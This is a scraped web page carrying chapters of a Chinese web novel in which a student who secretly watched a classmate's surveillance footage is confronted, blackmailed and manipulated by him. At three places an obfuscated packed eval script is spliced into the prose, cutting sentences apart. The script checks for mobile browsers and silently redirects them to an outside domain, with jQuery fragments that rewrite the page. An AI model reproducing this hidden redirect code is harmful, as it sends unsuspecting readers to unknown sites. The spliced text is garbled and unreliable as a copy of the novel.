最后,他把安置好的玫瑰花放在客厅的饭桌上,自己在饭桌边坐下。
做完这些事情后,他对还站在门口的李明眸微笑道:“过来呀,还站在那里干什么?”
他身后是一扇窗户,阳光透过窗户晒进来,光斑洒在他身上,随着窗外摇曳的树叶斑斓变幻。
他赤身裸.体地沐浴在阳光下,坐在玫瑰花旁。花是红色的,人是鲜艳的,两者都美而带刺,随时准备把靠近的人扎出血来。
她呆了十八年的客厅变得陌生,变得像一幅油画。
李明眸在门边僵了一会,确认自己没有能力将骆绎声赶走后,才不情不愿地走到饭桌边,局促地扯了扯自己的睡衣。
等李明眸坐下后,骆绎声拿出保温盒,从里面盛出一碗粥,慢慢地说:“我就说你会撒手没吧。病了也好,在家里跑不掉。”
他说话轻声细语的,好像情人间的昵语。李明眸认真听完,又回想了一遍,终于确认:他话的内容确实不怎么礼貌。
他盛好粥后,把那碗粥推到李明眸面前:“宋教授说你病了,我就给你买了点补品粥。”
他这探病还像模像样的,带了花,还带了补品。
李明眸低头盯着那碗颜色诡异的粥,觉得情形有些诡异。
两人僵持了一会,李明眸最后还是拿起汤匙,尝了一口。
她尝到一点香菜的味道,于是动作突然停住。她把那口粥含在嘴里,口齿不清地说道:“我不吃香菜的,不好吃。”话是这么说,她却不敢把粥吐出来。
骆绎声露出一个温柔的微笑:“吞下去,全部吃掉。”
李明眸抖了一下,把嘴里的粥咽了下去。
这么被骆绎声盯着吃了小半碗粥后,李明眸开始有些想吐。
她停了下来,小声地讨饶:“我不想吃了,有点恶心。”
骆绎声温柔地催促:“还有半碗呢。”
李明眸看了看碗里的粥,又看了看骆绎声的脸色,小心翼翼地问:“要是我吃完了,你会走吗?”
骆绎声似笑非笑:“这么想我走啊?你在害怕什么?”
李明眸没有回答这个问题,她硬着头皮反问骆绎声:“你到底想说什么?”说完快走。
骆绎声看她一眼,拿起自己刚刚放在隔壁椅子的画册:那本画册是黑色的封面,A4大小,厚约5厘米,左下的边角磨损了——是李明眸的异象相册!
“还给我!”她跳过去,一把夺回,“你在哪拿到的!?”
“在你房间看到的,不就在那个花瓶下面压着吗。”
骆绎声语气淡淡的,也没有跟她争夺。
他掏出自己的手机,打开相册,翻出一张照片:是他拍下的自己的异象画,444的《沙耶》。
李明眸抱着自己的画册,声音弱弱的:“你、你什么时候拍的?”刚刚不到两分钟的功夫,他不但从她房间
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396255|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里找到花瓶,还找到自己的异象画拍下来了?
“上次你在夜店落下,当时拍的。”
她第一次进去“岩浆”,就因为被周雪怡发现这本画册,才惹上麻烦。当时骆绎声确实将她的画册拿走了一会。
骆绎声:“我们聊聊你画的东西。”
李明眸已经打定主意,骆绎声跟她说任何监控有关的事情,她都不会承认。但她没想到,骆绎声先开口说的,竟然是这个问题。
骆绎声把自己的裸.体异象画打开,放大,把手机屏幕怼到李明眸面前,让她看自己的裸.体肖像。
这么做的时候,他脸上若无其事,好像被画的人不是自己,画他的人也不是眼前的李明眸。
李明眸羞耻地低头沉默。
“上次在夜店人多眼杂,你又不肯回答,我就没有追问你。”
他指向《沙耶》右下角的时间标记,语气自然地问:“看这日期,‘8月22日’,这是我跟你在变装舞会见面的第二天晚上。这日期是对的吧?”
李明眸满脸茫然,老实回答:“嗯。”
得到她的答案后,骆绎声继续说:“我唯一能想到的,你看到我裸体的机会,就是监控。但你发现监控的日期,是9月15日,对吧?
“就是你来我家的那天,你躲在我房间的衣柜里,表现得像个变态……”
他轻描淡写地说出了李明眸知道监控的事情,甚至略过了跟她确认的程序。
李明眸顾不上反驳自己不是变态,听到“监控”这个关键词,她的目光下意识想飘向空中,但是忍住了。
她死死盯住骆绎声的眼睛,觉得这样能使自己看起来更真诚。
她反问:“什么监控?我听不懂。”
骆绎声没理她的辩解,自顾自往下说:“邮件也是你发的吧?”
李明眸又问:“什么邮件?”
她反正是打定主意不承认了。
她报警是匿名的,给他发的邮件也不可追溯。
只要她不承认,就不会暴露。
骆绎声又笑起来:“看来你是不会认了。”
他关闭手机相册,打开拨号页面:“我现在就报警,说之前报假警的那个人是你……
“你知道现在报假警是要拘留的吧?”
说到后面,他抬头看李明眸,微笑着问她。
李明眸声音有点抖,但还是坚持道:“就算你报警,我也是清、清白的!”
骆绎声看了她一会,低下头在拨号键上按了三个数字。按完之后,他把手机屏幕亮了出来,让李明眸看——他按的是“110”。
“再问你一次,你承认你知道监控吗?”
李明眸默不作声,她赌骆绎声只是想吓吓她。
骆绎声对着她笑了一下,然后当着她的面按了拨打键,又按了免提。
李明眸听到“嘟嘟嘟”的接通声,上面显示着硕大的“110”——他竟然真的拨出去了。
她的腿开始抖了。
没等她说出什么,电话就被接通了。接线员的声音传了出来:“你好,这里是110报警服务台。”
骆绎声没有说话。
接线员提示道:“您好,请问有什么可以帮到您?”
李明眸想从座位上站起来,结果脚一软,又坐回了凳子上。
骆绎声慢吞吞地把话筒递到嘴边,看着李明眸,不紧不慢地说:“抱歉,打错了。”然后他挂了电话。
43. 真相对峙2
一分钟后,骆绎声已经收起手机,慵懒地倚坐在客厅沙发上,翻看着李明眸的异象画册。
李明眸则垂头丧气地坐在他脚下的小黄鸭矮凳上,矮凳后面写着“李明眸,一年级”。
那把凳子太矮了,李明眸曲着腿,脸直接对着骆绎声的大腿。
这个高度差也太危险了,她的眼睛直接平视骆绎声的大腿,再往上一点,就是不能看的地方了。
她只好一直仰头盯着骆绎声的脸,以免看到不礼貌的地方,为此脖子都仰酸了。
骆绎声问她:“我好看吗?”然后又说:“少看点,看蚀了。”
李明眸“哼”一声转过头,看向他身旁的壁柜。
骆绎声又说她:“坐好点。”
她慢慢地挺直了腰,但很快又佝偻下去。
骆绎声看她臊眉耷眼的,接着问她:“来,你重新回答一下我上面的问题:你发现监控的时间,是9月15日,对吧?”
李明眸不情不愿:“嗯。”
“说说你发现监控的经过。”
这个倒没有什么好隐瞒的,李明眸一五一十说明了安琪如何发现监控,然后指引她找到摄像头的经过。
骆绎声重新审视了一下她,语气有些微妙:“你还有这个技能。”
李明眸微微昂着下巴,在矮凳上挺直了腰。
“我的裸体画是8月22日画的,但是你要到9月15才能看到监控。
“所以在你还没看到监控的8月22日,你是怎么精确地知道,我的痣长哪的?”
李明眸挺直的腰又微微弯下了:“上次在夜店不是回答过你了……在游泳课看到的。”
她印象中很多女生想跟他一起上游泳课来着,有谁拍了照,流到论坛上被她看到,这应该不奇怪吧?
“你没有真的关注过我上游泳课。你关注过的话,就会知道,我一直穿的连体泳衣。”
李明眸瞳孔地震:男生不是只穿泳裤的吗?为什么要穿连体泳衣?
骆绎声好整以暇:“夏天我有舞蹈演出,不能晒黑。上次你乱说,我就放过你了,看来你一点都不关注我,后来也没去查。
“重新说说,你怎么知道我的痣长哪?别拿学校偷拍和游泳课说事,他们不可能拍到,我这个人很注重隐私。”
他语气慢悠悠的:“这么被人画出来,还是第一次呢。”
李明眸被他的话臊得满脸通红,眼睛却还是盯着他近距离展现出来的裸.体,如此地纤毫毕现,一览无余。
他一共有五颗痣,除了胸口这颗,她还知道他另外的四颗痣,每颗痣的深浅、大小、分布区域,她都一清二楚。
她就是直接这么看到的。但这个真正的理由,就算说出来,也不会有人相信。
她的眼神漂移向天花板:“就AI搜到的。你别管我怎么搜到的,说了你也不懂,反正就是搜到了。”
她就不信骆绎声一辈子都没露出过上半身,只要他露过,被安琪搜到了,又有什么奇怪的。
她只是之前没想搜,要是她真的想搜,她确实是能搜到的。
这也是一个合乎逻辑的解释。
骆绎声不紧不慢的:“哦,好端端的,你搜我裸.照干嘛呢?说说在哪里搜到的。”
李明眸有点被逼急了,开始凶他:“你管我在哪里搜到的?反正我就是搜到了!那么多人搜你,你的照片都挂在学校论坛了,凭什么她们能搜,我不能搜!”
骆绎声“噗嗤”一下,被她逗笑出声。
她恼怒了:“你笑什么?”
骆绎声收住笑,尽量正经地说:“那她们搜我是喜欢我,难道你也喜欢我吗?”
他把脸凑到李明眸面前,认真观察她的表情。
李明眸往后仰了一点,不想跟他离得太近。虽然现在不是关注这个的时候,但是他突然把锁骨和胸肌都凑过来,她的眼睛会没地方放。
她鼓起气势,尽量理直气壮:“喜、喜欢又怎样了?!”
骆绎声看着她的眼睛,语气慢悠悠的:“你不像喜欢我的样子,喜欢我的女孩子,我能看出来,你不是那种眼神。”
他打量她一会,补充了一句:“起码在刚认识的时候,不是那种眼神。”
李明眸结巴道:“我、我现在眼神怎么了!”我最多在看你肉.体时心潮澎湃,才眼神飘忽,又没有在暗恋你。
骆绎声摸摸下巴:“不像喜欢我,也不像不喜欢我,就眼神很奇怪。”他思考了一会,“有时候有点猥琐。”
李明眸:“……”
骆绎声总结道:“总之,学校里也有别的女孩子跟踪我,就是单纯的想追我,我能发现。你不是。”
他接着问了一连串话:“为什么跟踪我去夜店?你肯定一开始就知道些什么,你看着我和沈思过的眼神都很奇怪。而且你到底从哪里看到我的裸.照的?”
李明眸沉默了。
能解释的事情,她已经解释完了。
听说人类经过进化后,仍然有些人保留了动物的直觉。虽然不能预测地震,但用在抓小三这种事情上,却非常准。
骆绎声的直觉敏锐得像狗,他想追问的,竟然不是监控和邮件,而是她为什么会知道他的秘密——他问的是她能看到异象的那双眼睛。
像他这种狗里狗气的男人,以后女朋友出轨了,他一定能迅速发现。
骆绎声看了她一会,问她:“你是不是在心里骂我?”
“也、也没有吧……”
“呵。”
骆绎声盯着她的脸,身体后仰,慵懒地靠在沙发靠背上。
看到她沉默良久,他微微眯起眼睛:“看来你是要坚持‘喜欢’我了,也行。喜欢我的话,我拜托你的事情,你会帮我做的对吧?”
昨晚他对沈思过说过类似的话,他当时是这么说的:“你不是愿意为我去死吗?那就做点你觉得难堪的事情来让我高兴一下,比如舔我的脚。”
李明眸抿着嘴唇,不肯答应他任何事情。
但是骆绎声提出的要求并不过分:“你昨晚看到的事情,一个字也不能说出去。”
李明眸没想到会是这么一个常规的要求,松了一口气:“我绝对不说。”
“我相信你,你一定会说到做到。”骆绎声语气温柔,“但是为了防止你不上心,我得给你上重保险。”
他站起来,往李明眸房间的电脑走去,并像逗小狗一样向她招招手:“过来,先把我的监控删掉。”
李明眸茫然地看着他。
骆绎声表情玩味,问她:“怎么,你想保留偷窥我的权利吗?”
李明眸终于反应过来——他是让她把她电脑上的监控都删掉。她连忙从小黄鸭凳子上蹦起来:“删的删的,我昨晚就准备删了!”
李明眸走到书桌前,给电脑开机,骆绎声站在她身后监视着。
打开电脑后,她打算直接删掉入侵程序和监控程序,但是骆绎声在她身后吩咐:
“等等,先打开一个监控录像,要能看到我的脸的那种……
“对,打开我房间的,7号摄像头,画面放大……
“嗯,原来在监控里看起来,我是这种感觉。你们看的时候会兴奋吗?”
他语气平淡地谈论着自己的监控录像,甚至还问起了对方的观后感,好像被拍的人不是他似的。
李明眸不太高兴,因为骆绎声刚刚使用了“你们”这个词,说得她跟沈思过是一伙似的。
她回过头去,辩解道:“我又不是变态……等等,你在干嘛?”
她看到骆绎声正站在她身后,举着手机在拍她的电脑屏幕。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396256|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>骆绎声慢慢地把摄像头移到李明眸脸上,笑道:“拍到你的脸了,笑一下。”
李明眸举起桌面上的小黄鸭摆设挡住自己的脸,警惕道:“你干嘛?”
骆绎声:“已经拍进去了,你现在挡也没用了。”
李明眸觉得他好像在做一些不好的事情,但又不确定他的意图,于是追问道:“你到底拍我干什么?”
骆绎声说:“上保险啊。如果你不小心把事情泄露出去,我就说你是变态,在我家里安装了摄像头偷窥我,还企图污蔑我和沈思过的父子关系。
“罪证在我手上,你做事情最好小心一点哦。”
李明眸瞪大眼睛,脸色从红变成白,又从白变成青。
骆绎声安慰她:“别担心,只要你听我的话,我不会把你监控我的事情说出去的。”好像那些摄像头真的是她安装的似的。
李明眸赌气道:“我才不怕,你把它发出去吧!我要告诉所有人事实!”反正文件记录都是可查的!
骆绎声对她笑了笑,打开放在桌面上的异象画册,然后把镜头移到画册上,开始拍里面其他人的异象画。
李明眸反应了好一会,等想起来要阻止的时候,已经有好几幅画被他拍进去了。
她急忙一把抢回画册,气急了:“你拍别人干什么?!”
骆绎声检查自己拍到的画面,微笑道:“你看你,背地里画了这么多别人隐私。我说监控是你装的,大家也会选择相信我呢。”
她气得发抖:“你把后面的异象画删掉!”
骆绎声好整以暇:“哦,原来它们叫‘异象’啊。”
李明眸听到他说出这个词,心脏重重跳了一下,生气又害怕。
她不再说话,看着他拿在手里的手机,猛地蹦起来,踮起脚,伸手去抢他的手机,想把视频删掉。
骆绎声一只手挡住她,拿着手机的另一只手高高举起——他长得太高了,只要他举高手,她就够不着他的手机。
骆绎声足足比李明眸高出一个半头,站在她面前,就像一条麻秆一样高。
她急得在他身边团团转,碰都不敢碰他一下。
她想跟树袋熊一样,抱着他的躯干就往上窜——但是这棵树没有穿衣服!
骆绎声看到她着急的样子,又笑了,仿佛她很搞笑。
在他的轻笑声中,李明眸的怒火被恐惧拱了上来,脑子一下就被冲昏了。
她瞥见手边有张桌布,也不管桌布上有什么,一把就将桌布掀了起来,猛地往骆绎声头上罩。
就跟什么大师收妖似的,用袈裟罩住妖怪、镇住它。
骆绎声愣住,轻笑声戛然而止。他大概想不明白李明眸这个行动的逻辑:突然用桌布罩住人家,这是什么原理?
趁他愣住的瞬间,李明眸的桌布迎面罩在他脸上,遮住了他赤.裸的胸膛。
把这裸.男罩住后,她跳了起来,猛地抱住骆绎声的脖子,跳到他身上,伸手就往他的手机够。
她以前是高中校运会的跳高冠军,这一下跳跃,九十多斤的重物一下子就挂在了骆绎声身上。
好在骆绎声有舞蹈功底,下盘晃了一下后,很快又站稳了。
他反应很快,大概是怕李明眸摔下去,他拿着手机的手松开,改而兜住李明眸的屁股。
他的手机“啪”一声掉在地上,刚刚盖在他身上的桌布,也因为两人的动作变化,缓缓从他脖子上滑下来……
二人的姿势就变成了这样:李明眸骑在骆绎声身上,骆绎声一手抱住她的屁股,以免她摔在地上。
她贴着骆绎声,而他上半身是赤.裸的。
因为二人刚刚激烈的动作,桌面上的杂物被扫下来,哐哐当当地掉在地上。
一只水杯在两人脚下骨碌碌地滚出几圈,慢慢静止不动。
44. 真相对峙3
直到那只水杯完全停下来后,李明眸才察觉到自己做了什么,以及自己现在的姿势。
她慢慢宕机,僵在骆绎声身上不动了。
骆绎声问她:“这算是投怀送抱吗?你还真的是喜欢我的啊?”
他等了一会,发现李明眸还是没反应后,另一只手也轻轻放到她的后腰,力度逐渐加重,像是把她稳稳抱在怀里,又像是控制她无法逃离。
他的动作很慢,给了李明眸足够的缓冲和反应时间,但她一直发愣,直到二人的上半身完全贴合在一起,都没反应过来。
他轻轻地、慢慢地控制住她,嘴唇凑到她耳朵边,语气缱绻暧昧,问的内容却很正经:“你在隐瞒什么?”
李明眸的理智并不在服务区。她所有的神智,都被用去感应骆绎声的接触了。
他说话时的语气甜蜜而粘稠,让她感觉自己仿佛是昆虫落到了蜘蛛网上,被蜜糖裹住无法动弹,任由他的呼吸轻轻拂在自己脖颈的皮肤上,带起一小片鸡皮疙瘩。
她裸露在睡衣外的皮肤,跟他大面积贴合在一起。在温度的互相交换中,她隐约闻到一股木质的苦橙花味。
她以为那是他的香水味,过了一会,才发现是自己身上沐浴露的气味。
她的沐浴露是橙花味的,经过两人体温的蒸腾,跟他身体的气味交融到一起,变成了一种陌生的气息。
就在李明眸发愣的时候,骆绎声再次在她耳边轻声强调:“你一定隐瞒了什么。”
李明眸以为他会继续问监控的事情,或者自己的裸.体画像。但他问了意料之外的问题:
“你怎么知道周雪怡的事情的?”
李明眸转动迟钝的大脑,下意识反问:“什么事情?”
他的声音越来越轻柔,仿佛在瓦解她的防御,诱使她袒露实情:
“你知道是什么事情。你不是已经画出来了吗?”
无论他的语气多轻柔,李明眸终于还是发现不对劲了:他说的是别的异象画——他注意到异象画册里面一些不寻常的东西了。
他继续说:“周雪怡不可能跟你说这些事情,她不会对任何人说。还有吕小路,他也在画册里……你不应该知道他们的事情。”
周雪怡和吕小路,就是那个蓝发女生和蓝发男生。
在画册里,周雪怡的双.腿.间流出粘稠黑色的水,从黑水中孵化出黑色的虫子。吕小路则是没有任何皮肤屏障,血肉筋膜跟周围环境任意黏连,失去自己的基本形状。
这是李明眸看到的,她便直接画出来了。但她确实不知道这两个人的事情,因为有些异象很抽象,她不擅长解读抽象的东西,有时候会理解错误。她最多能猜到周雪怡的异象可能跟性有关,甚至不一定能猜对。
她这个画的人尚且如此,所以她从来没想过,有谁拿到她的画册后,会从画册中猜出什么来。
她以为他们最多会对自己的画有一些特殊感觉,但骆绎声看出了别的信息。他的直觉确实很敏锐。
李明眸未曾料到,骆绎声会接近这个她最在意的问题,心里的警钟越来越响,之前的热潮也渐渐褪去。
她的理智开始回笼了。
骆绎声不知道她已经开始警觉,他还在问:“里面还有两个我认识的海大的人,你不应该知道他们的事情,可是你画出来了……
“就像我和沈思过,你不应该知道我们不对劲的。你在发现监控之前,你就知道不对劲了,不是吗?”
他提到的这些人,都是他刚刚拍下的异象画的主人。
他再次重复这个问题:“你到底在隐瞒什么?”
李明眸已经彻底清醒过来了。
她僵直着坐在他的身上,尽量用一种听起来客观冷静的语气告诉他:
“我没有隐瞒任何事情。就算有所隐瞒,我隐瞒的那个部分,也跟你和沈思过的秘密无关。”
她没有需要对他解释的东西,就算解释了,他也不会相信。
骆绎声长长地沉默着,最后说了一句:“好吧,看来我们只能聊到这里了。”
他察觉到她重新变得僵硬的身体,抱着她走了几步,把她轻轻放到饭桌上。
李明眸坐在桌面上,腿垂下,轻轻搭在桌沿。他站在她前面位置,挡住她下桌和离开的方向,两人离得极近。
她拘谨起来,往后挪了几下,想离他远点。
骆绎声没让她就这么挪远,他双手撑开,放在她两侧,把她困在自己怀里,跟她固定在一个很近的距离。
李明眸觉得好像被他笼罩住了,有些惊慌:“你、你干嘛?我姨妈要回来了!”
骆绎声近距离盯着她的眼睛,语气非常正经,跟刚才想诱哄她坦白时完全不一样:“我现在没在耍诡计,我们认真做个约定,可以吧?”
他的语气如此严肃,李明眸一下子拘束起来了,还有点羞耻:“什么约定?”
骆绎声:“一,你看到的我和沈思过的事情,一个字都不许说出去,如果有第三个人知道了,我就找你。”
李明眸:“在删监控前,我答应过了。好。”
骆绎声:“二,我和他是什么关系,不要好奇,不要继续探究,也不要在脑海中擅自猜想。”
这问题倒提得有些奇怪,他这说法,仿佛自己真跟沈思过有关系似的。
她情不自禁问了出来:“……你们是同性恋吗?”
骆绎声笑了起来,他的手指插进李明眸的头发里,温柔地抚摸着她的头皮:“刚让你不要好奇,你当场就探究起来了呢。我是不是同性恋,你试一下不就知道了?”
他说的话是暧昧的,动作也是调情的,但气氛跟刚刚很不一样:李明眸觉得他下一刻就会拔着她的头发把她提溜起来,就像提一根葱。
她从善如流:“对不起,我错了。”
骆绎声盯了她一会,表情竟然有些遗憾,不甘不愿地放开她的头发。
骆绎声意兴阑珊:“最后一条,我要看着你,所以你重新加入《弗雷娜》吧。”
“hao……等等”,一个“好”字差点脱口而出,李明眸停住,“我加不加入《弗雷娜》,跟你们有什么关系?”
骆绎声漫不经心:“我不能让一个知道我这多么事情的人,在我视野盲区乱窜。你不加入也行,你就跟我谈恋爱,每天找我报道一次。”
说到“跟我谈恋爱”,他的语气很随便,像是随口逗她,又像是她不值得他用更慎重的语气谈及。
李明眸不知道怎么的,心里有些恼怒起来:“凭什么我要跟你谈恋爱?”
骆绎声笑起来:“凭你说你喜欢我。”
李明眸有些后悔给了他这个把柄,索性不跟他聊这个话题。
她尝试跟他讲道理:“我已经拒绝沈思过了,再反复,也不是很好。他也未必会答应。”
骆绎声:“我来之前问过他了,他很开心,他已经答应了。你姨妈估计也会高兴的。她不是说你得交点朋友吗?以后你的朋友就是我了。”
李明眸:“……”
“不满意吗?不满意的话,把你隐瞒的事情告诉我,我们就打和了。总不能你单方面知道我这么多事情,我一点都不知道你的吧?上次在夜店,我已经放过你了,是你自己找上门来的。”
说到后面,骆绎声微微眯起眼睛,语气危险起来:“还是说,你真的想跟我谈恋爱?”
李明眸弱弱地说:“不谈了吧……”
骆绎声:“那约好了,你后天就去《弗雷娜》报道,就在我们学校的活动中心。好吧?”
李明眸:“……”
骆绎声:“你不说话是什么意思?”
李明眸:“……好就好。“
一番乱七八糟的交流后,事情就这么糊涂地确定下来了。
骆绎声很满意的样子,大发慈悲地放开了李明眸,并且终于准备要走了。
他走的时候,看到异象画册在沙发上,竟然顺手收进自己兜里了:“这个我拿走了。”
李明眸想拿回来,还被他拍了一下手,警告她不要乱动。
她瞪大眼睛,不可置信:“那是我的东西!你的事情我都答应你了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396257|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,你凭什么拿走我的东西?”
骆绎声斜睨着她,慢悠悠说:“凭你不能持有我的裸.体画像。而且你不是不让拍吗?不能拍,我就带走了。放心,不会给人看的。”
李明眸憋屈地涨红着脸。
看着她的脸色,骆绎声随和地提议:“你还我一张裸.照,我也可以把这个还你。等价交换嘛。”
李明眸警惕地打量他,谨慎地说:“给你也不是不可以……”
骆绎声:“噗。”
李明眸:“……”
骆绎声:“哦,原来给我也是可以的啊,可惜我要来没有什么用。”
李明眸有些羞恼:“还我!给你钱!”
听到有钱,骆绎声竟然思考了一会,才拒绝道:“算了,你又没几个钱。等什么时候你把不能回答的也回答了,我再还你。”
李明眸憋着一口气,很凶地说:
“不是说等价交换吗!那你告诉我你和你妈和沈思过是怎么回事,我就把不能回答的都回答了!”
凭什么只有她一个人要被点名回答问题!
“说了不能问之后,你又问了第二次,看来你真的是很好奇,并且是抑制不住的好奇。”
他慢慢地笑起来,
“既然你这么好奇,我也不是不能说。你先说。等你说完,我就回答你的问题。”
李明眸抿嘴,一言不发。
骆绎声冷淡地瞥了她一眼:“算了。怂包。”
他施施然走到门口,仿佛突然想起来什么似的,转头问李明眸:
“对了,你知道昨天晚上,沈思过为什么会知道我的兼职吗?”
李明眸茫然:不是因为她交资料的时候,把骆绎声在夜店兼职的海报误交上去,让沈思过看到了吗?
骆绎声慢悠悠地说:
“收到邮件后,我就想,这个人给我发这封邮件是什么意思?她既然能给我发监控视频,说明也能看到实时监控吧。
“想想真让人不爽,有人在阴暗的角落天天盯着你,你还不知道那是谁。有一个沈思过,已经让人很厌烦了,现在又多了一个。
“我故意没有回邮件。我就想看看,对方一直等不到我回信,天天在监控里看到我若无其事的样子,会不会很着急。”
李明眸慢慢瞪大眼睛。
骆绎声笑得很开心:
“我等了好几天,这个人还挺沉的住气。
“所以我想,加点筹码吧——如果沈思过虐待我,她在监控里看到了,会发生什么?想想就很好玩。”
他看着李明眸的眼睛,笑得灿烂又艳丽,仿佛一个小孩发现了有趣的玩具。
他凑到她耳朵边,轻声曼语:
“于是我给沈思过发了我在夜店工作的照片。
“然后当晚,我接到了报警……
“我终于搞懂了:喔,原来这是一个喜欢我的女孩子给我发的邮件,她是在提醒我注意安全的意思。
“谢谢你喜欢我、跟踪我、在网上搜我的裸.照,然后发现这一切。”
说完这段长长的话,他亲了一下李明眸的脸颊。
轻轻的,一触即离,没有什么情欲的气氛,也不像是示好。像是一只小鸟轻轻啄了啄另一只小鸟。
“你喜欢我,应该不会讨厌我亲你一下吧?”他亲完,才笑着补问了一句。
没有等李明眸回话,他哼着歌,心情很好地打开门、走出去、重新关上门。然后消失在李明眸家里。
李明眸捂着自己的脸,看着那扇紧闭的大门,气到微微发抖。
——骆绎声在挑衅她。
她一直以为,是因为自己误交上去的那张海报,才导致骆绎声被沈思过找麻烦。所以骆绎声威胁她的时候,她都有尽量退让。
因为她觉得是自己先做错了事。
但原来从头到尾,都是骆绎声为了找出她,而策划出来的一场事故。
原来在她观察这个家庭的监控记录的时候,骆绎声也在通过那封邮件,反过来观察她。
她输掉了这场博弈。
45. 新生活
骆绎声走了之后,李明眸一个人在客厅呆了很久,反应过来自己答应了什么后,她有些后怕:
真的要去《弗雷娜》吗?
凭什么答应骆绎声?他骗她,还威胁她!
……可是真的能不答应吗?
想到这里,她好不容易燃起的一点怒火,又可怜地熄灭了。
想到可能要加入剧团,毫无征兆地,那座塔突然浮现在她的脑海中。
就是弗雷娜号甲板上的那座高塔,沈思过挂在办公室墙上的那座高塔。
自从关注上骆绎声的事情后,她已经很久很久没有想过这座高塔了,就像刻意压抑着什么。
但答应加入《弗雷娜》后,它又不告自来,突然浮现在她的脑海里。
李明眸猛地摇头,就像这样能把那个画面从自己脑袋中晃走一样。
她怕自己继续多想——反正这是想也想不明白的事情——于是索性又爬回床上,盖上被子,重新睡了起来。
但跟下午刚回到家时那场被打断的酣眠不同,这次虽然睡着了,但她做了很多混乱的梦。
她看到很多碎片,听到很多声响,但在醒来的瞬间,又全部都忘记了。
只记住了一种不停下坠的感觉。
从梦中惊醒后,她的身体恢复了一些,精神却更累了,仿佛没睡过一样。
她索性没有再睡,只是躺在床上发呆,没有吃东西,也不觉得饿。
大约到了晚上的九点钟,姨妈回来了。
她本来准备在姨妈回来前先开盏灯,装作自己很好的样子,但姨妈今天早回了一小时。
姨妈没有像上次一样询问她为什么不开灯。刚回到来,她就冲进李明眸房间,对着床上刚坐起来的李明眸高兴地问:
“你怎么改变主意了,你要加入《弗雷娜》?”
李明眸本来还在发愁:自己真的要答应吗?如果答应,应该怎么跟姨妈说这件事?
想不到姨妈已经知道了。
骆绎声下午说,他已经提前跟沈思过说了,难道他也跟姨妈讲了?
虽然自己事后答应了,但他凭什么这么确定她会答应?!
没等李明眸生气,姨妈劈头又问了下一个问题:“你是喜欢骆绎声吗?”
李明眸脸色涨红:“我没有!”
姨妈掩了掩嘴,笑而不语。
李明眸:“……”姨妈这个笑容,让她回想起自己没法对赵医生证明自己不是神经病的经历。
姨妈似乎是怕她害羞,特意转移话题:“你小学的时候在戏剧社演过小猫,要加入《弗雷娜》的话,这应该能算有一定的表演基础吧?”
他们小学都要参加兴趣班,李明眸参加的是戏剧班,在学校的文艺汇演上演一只猫。
李明眸:“……这不能算吧?”所有人,包括配角,演的都是人类,就她演的是一只宠物猫。连台词都没有,就蹲那凑数。
姨妈笑了一下:“可你演的真的很像猫啊。”那笑容还有点恍惚。
就在李明眸真切担心起自己的舞蹈和表演功底的时候,姨妈说起自己的工作:“既然你愿意去《弗雷娜》,那我也可以去出差了。”
李明眸听下去,才知道原来之前姨妈有出差任务,是因为担心她,所以才一直住家里。
她心生愧疚,发现自己最近没留意过姨妈的事情,便不再想自己的事。
姨妈摸着她的头,仿佛真的在摸一只猫,动作轻柔,害怕吓到她:“我大概会离开两三个月,在我出差的时候,你要定期给我打电话。
“如果再发生晕倒这种事情,一定要告诉我……也许我没法做什么,还会很担心,但我想知道。”
姨妈停顿了一会,轻柔的语气变得严肃:“即使无能为力,我也要知道。”
李明眸感受到那个抚摸的重量,之前的烦心和担忧,突然就消散了大半。
她是有人记挂、有人支持的人,或许她能应付接下来的情况,也不会再晕倒。
加入剧团也没什么。起码可以让姨妈开心、工作顺利。
跟姨妈聊完后,李明眸随便吃了点东西,又回到床上开始睡。
这次她睡了很久,没有再做那个下坠的梦。
醒来的时候,阳光洒满静室,姨妈已经离开去出差,客厅里静悄悄的。
今天到了学校,她就要去找沈思过说明入团事宜了。
她吃着早餐的时候,看着客厅里的光斑,还是觉得很没有真实感。
*** ***
磨磨蹭蹭到了学校后,李明眸又在信息学院门口看到了骆绎声。
她的身体仿佛被写进了奇怪的记忆,在看到骆绎声倚在廊柱下的瞬间,她的腿就抬了起来,下意识想转身逃跑。
她艰难地收回腿,默默生起闷气:凭什么是她逃跑?
比起昨天,今天围在骆绎声身边的女生多了几个:他才来过信息学院一次,但学妹们似乎已经飞快习惯了。
李明眸看着围着骆绎声的女生们,很想警告她们:长得好看的男人都心思深沉,惯会骗人,不值得来往。
她管住自己的腿后,特意经过骆绎声身边。
“李明眸。”
果然又被叫住了。
“做什么?!”她立刻停下来,很凶地问他——她特意从他身边经过,就是为了凶他这一句。
